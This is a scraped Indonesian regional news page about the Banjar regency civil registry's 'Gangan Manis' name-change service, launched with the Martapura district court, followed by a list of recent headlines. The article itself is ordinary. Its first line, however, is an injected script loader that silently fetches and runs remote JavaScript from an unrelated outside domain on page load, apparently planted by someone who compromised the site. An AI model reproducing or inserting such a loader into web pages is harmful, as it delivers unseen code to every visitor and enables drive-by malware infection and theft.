(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Melihat Kegiatan Disdukcapil di Sepanjang 2021


KANALKALIMANTAN.COM, MARTAPURA – Dinas Kependudukan dan Catatan Sipil (Disdukcapil) Kabupaten Banjar tak henti melakukan terobosan mempermudah pelayanan kepada masyarakat dalam hal pencatatan kependudukan dan catatan sipil.

Terobosan itu seperti yang terlihat pada layanan Gangan Manis (Ganti Ngaran Mudah,Cepat dan Praktis).

Bupati Banjar H Saidi Mansyur launching layanan Gangan Manis (Ganti Ngaran Mudah,Cepat dan Praktis) di Aula Pengadilan Negeri (PN) Martapura Kamis (30/9/2021) pagi.

Turut hadir menyaksikan Wakil Bupati Banjar Habib Idrus Al-Habsyie, Ketua PN Martapura Kelas 1B Noor Iswandi, Kepala Disdukcapil Banjar Azwar, Inspektur Kabupaten Banjar Kencanawati dan Kepala DPMPTSP Banjar Ida Pressy.

 

 

Baca juga: Mahasiswa Gelar Protes Jalan Nasional Rusak, PT Conch Harus Bertanggung Jawab

Bupati Banjar dalam sambutannya mengatakan inovasi layanan Gangan Manis untuk masyarakat Kabupaten Banjar ini untuk memudahkan dan mendekatkan pelayanan kepada masyarakat.

“Melalui inovasi Gangan Manis akan dapat memotong alur prosedur layanan penggantian nama sehingga layanan ini lebih mudah,cepat dan praktis,” ujar Saidi.

Dokumen yang dihasilkan melalui inovasi Gangan Manis yakni berupa penetapan Pengadilan Negeri untuk mengganti nama,akta kelahiran dengan penambahan Caping (Catatan Pinggiran),KTP/KIA dan Kartu Keluarga.

Pada kesempatan tersebut juga dilakukan penandatangan kesepakatan bersama antara Pemerintah Daerah Kabupaten Banjar dengan Pengadilan Negeri Martapura,merupakan sebuah bentuk komitmen untuk mewujudkan implementasi layanan yang terintegrasi.

Baca juga: Melihat Kegiatan Disdukcapil di Sepanjang 2021

Sementara itu Ketua PN Martapura Kelas 1B Noor Iswandi menambahkan dengan melakukan kolaborasi dengan Dinas Kependudukan dan Catatan Sipil (Disdukcapil) Kabupaten Banjar,selain Penetapan Pengadilan Negeri untuk mengganti Nama sekaligus mendapatkan Akta Kelahiran dengan penambahan Caping (Catatan Pinggiran),KTP/KIA dan Kartu Keluarga tanpa perlu bolak balik mengurus ke Disdukcapil dan Pengadilan Negeri,cukup dengan mendatangi Pengadilan Negeri Martapura kelas 1B sehingga dapat memudahkan dan memberikan pelayanan yang lebih baik kepada masyarakat Kabupaten Banjar. (kanalkalimantan.com/dhani)

Reporter: Dhani
Editor: Dhani


Risa

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

2 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

3 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

3 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

3 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

3 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

4 jam ago

This website uses cookies.